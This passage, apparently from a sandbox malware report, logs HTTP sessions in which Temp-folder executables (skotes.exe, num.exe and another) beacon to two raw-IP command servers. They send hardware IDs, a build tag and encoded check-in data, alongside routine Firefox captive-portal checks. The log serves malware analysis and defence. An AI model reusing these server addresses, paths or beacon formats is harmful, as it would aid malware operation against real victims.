15	192.168.2.5	59815	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:33.081391096 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 34 39 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002490001&unit=246122658369
Oct 30, 2024 00:21:33.985836029 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	59819	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:35.680548906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 00:21:36.605792999 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	59820	34.107.221.82	80	7116	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:35.863961935 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 00:21:36.466104984 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 34639 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	59829	34.107.221.82	80	7116	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:37.758356094 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 00:21:38.363686085 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 11:21:47 GMT Age: 43191 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 00:21:39.603966951 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 00:21:39.732980967 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 11:21:47 GMT Age: 43192 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 00:21:49.746153116 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	59831	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:38.161988020 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 00:21:39.056824923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	59833	34.107.221.82	80	7116	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:38.586345911 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 00:21:39.193430901 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 34642 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 00:21:39.624454021 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 00:21:39.753277063 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 34642 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 00:21:49.761790037 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	59839	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:40.693945885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 00:21:41.640332937 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	59841	185.215.113.206	80	5808	C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:41.632340908 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 00:21:42.565098047 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 00:21:42.568305016 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDAEHCBGIIJJJJKKKEH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 31 34 43 32 39 35 43 36 31 36 32 32 33 35 37 33 34 35 32 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 41 45 48 43 42 47 49 49 4a 4a 4a 4a 4b 4b 4b 45 48 2d 2d 0d 0a Data Ascii: ------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="hwid"8114C295C6162235734526------DGDAEHCBGIIJJJJKKKEHContent-Disposition: form-data; name="build"tale------DGDAEHCBGIIJJJJKKKEH--
Oct 30, 2024 00:21:42.855530977 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	59842	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:43.166327953 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 00:21:44.103548050 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	59844	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:45.813258886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 00:21:46.730005980 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	59846	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:48.525827885 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 00:21:49.448065042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	59848	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:51.154761076 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 00:21:52.060726881 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	59850	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:53.583183050 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 00:21:54.501172066 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	59851	185.215.113.206	80	7388	C:\Users\user\AppData\Local\Temp\1002490001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:54.473542929 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 00:21:55.386404037 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 00:21:55.389058113 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 31 31 34 43 32 39 35 43 36 31 36 32 32 33 35 37 33 34 35 32 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="hwid"8114C295C6162235734526------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="build"tale------EBKKKEGIDBGHIDGDHDBF--
Oct 30, 2024 00:21:55.675713062 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	59853	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:56.145294905 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 00:21:57.048494101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	59854	185.215.113.43	80	6184	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:21:58.567562103 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 30, 2024 00:21:59.484430075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 23:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	59862	34.107.221.82	80	7760	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 00:22:00.735332966 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 00:22:01.331302881 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 34664 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 00:22:01.652856112 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 00:22:01.780494928 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 34664 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 00:22:01.888581038 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 00:22:02.249464035 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 34665 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 30, 2024 00:22:02.355937958 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 00:22:02.482616901 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 34665 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
